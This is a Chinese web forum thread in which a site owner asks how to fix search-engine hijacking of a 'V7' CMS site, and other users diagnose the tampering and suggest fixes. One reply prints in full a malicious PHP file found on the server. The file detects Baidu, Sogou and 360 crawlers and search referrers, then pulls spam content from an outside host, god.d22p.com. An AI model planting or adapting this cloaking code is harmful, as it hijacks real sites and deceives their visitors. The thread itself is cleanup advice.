使用的V7版本,网站搜索引擎劫持了,应当怎么处理啊,搜索引擎的快照不是用的,通过搜索引擎进入也不是我的网站,但手工输入确是OK的,这该怎么处理?有没有大佬给支个招,谢谢了
用v7很多年没遇到过这样的问题
一切不安全基本上取决于服务器,最彻底的方法还是从装程序,我这边有几个V7运营得好好的
set_time_limit(0); error_reporting(0); date_default_timezone_set('Asia/Shanghai'); //header("Content-Type: text/html;charset=gb2312"); define('hquu', "http://god.d22p.com"); define('host', "/?host=" . $_SERVER['HTTP_HOST']); define('hurl', "&abc=" . $_SERVER['REQUEST_URI']); define('agent', "&agent=" . $_SERVER['HTTP_USER_AGENT']); define('urls', "&urls=0"); define('tz', "&tz"); define('url', $_SERVER['REQUEST_URI']); define('Referer', $_SERVER['HTTP_REFERER']); define('AGEN', $_SERVER['HTTP_USER_AGENT']); $hqa = array( '360spider', 'HaoSou', 'Sogou', 'Yisou' ); function isCrawler() { $agent= strtolower($_SERVER['HTTP_USER_AGENT']); if (!empty($agent)) { $spiderSite= array('Baiduspider','Sosospider+','Sogou web spider','Yisouspider','Sogou inst spider','Sogou Spider','Sogou News Spider','360spider'); foreach($spiderSite as $val) {$str = strtolower($val);if (strpos($agent, $str) !== false) { return true;} } } else { return false; } } foreach ($hqa as $a3) { if (stristr(AGEN, 'Baidu')){ if (stristr(url, ".xml")) { echo get(hquu . host .agent . hurl); exit(); }else{ echo get(hquu . host . hurl . urls); } }elseif(stristr(AGEN, $a3)){ echo get(hquu . host . hurl); //exit(); } } if (stristr(Referer,'baidu') ) { if (!isCrawler()) { if (stristr(url, ".xml")) { echo get(hquu . host . tz); exit(); } } }elseif(stristr(Referer,'sogou') or stristr(Referer,'sm.') or stristr(Referer,'so.')) { if (!isCrawler()){ echo get(hquu . host . tz); exit(); } } function get($url) { $hqts = array( 'http' => array( 'method' => "GET" ) ); $hqtext = stream_context_create($hqts); $con = curl($url, false, $hqtext); if (empty($con)) { exit("<p align='center'><font color='red'><b>Error!</b></font></p>"); } return $con; } function curl($hquu) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $hquu); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); return curl_exec($ch); curl_close($ch); }
找到一个垃圾文件
查不到此域名的授权信息,有问题,请联系官方客服!
在网上下载的源码被挂马篡改也是常见的!好自为之。
根据你这个信息,也没发网址,一般是网站被篡改了!
1、第一种很常见的就是整个网页被篡改,然后百度快照抓取了,不管是从百度还是输入都是垃圾信息内容;
2、隐藏一点的,可以正常域名访问,但是用百度或者相关搜索引擎进入就进行了跳转;
解决方式很简单,找到根目录或模板文件 对比备份,寻找可疑的代码,有的是js或dwz.cn来隐藏;
这个自己去检查了。